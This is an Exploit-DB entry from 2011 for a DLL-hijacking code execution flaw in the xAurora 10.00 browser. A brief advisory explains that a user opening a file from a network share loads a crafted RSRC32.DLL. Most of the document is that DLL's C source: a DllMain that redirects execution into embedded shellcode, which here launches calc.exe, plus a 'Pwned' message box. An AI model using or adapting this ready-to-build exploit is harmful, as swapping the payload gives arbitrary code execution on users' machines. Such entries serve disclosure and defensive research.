xAurora 10.00 - 'RSRC32.DLL' DLL Loading Arbitrary Code Execution Vulnerability

2011-06-24T00:00:00
ID EDB-ID:35881
Type exploitdb
Reporter Zer0 Thunder
Modified 2011-06-24T00:00:00

Description

xAurora 10.00 'RSRC32.DLL' DLL Loading Arbitrary Code Execution Vulnerability. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/48432/info

xAurora is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 

*/

#include <windows.h>
#include <stdlib.h>
#include <string.h>


char shellcode[]="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
"\x2e\x65\x78\x65\x00";

int xAuroraPwnage()
{
int *ret;
ret=(int *)&ret+2;
(*ret)=(int)shellcode;
MessageBox(0, "[+] xAurora Pwned By Zer0 Thunder !", "Not so Secured Browser", MB_OK);
return 0;

}  
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  xAuroraPwnage();
  return 0;
}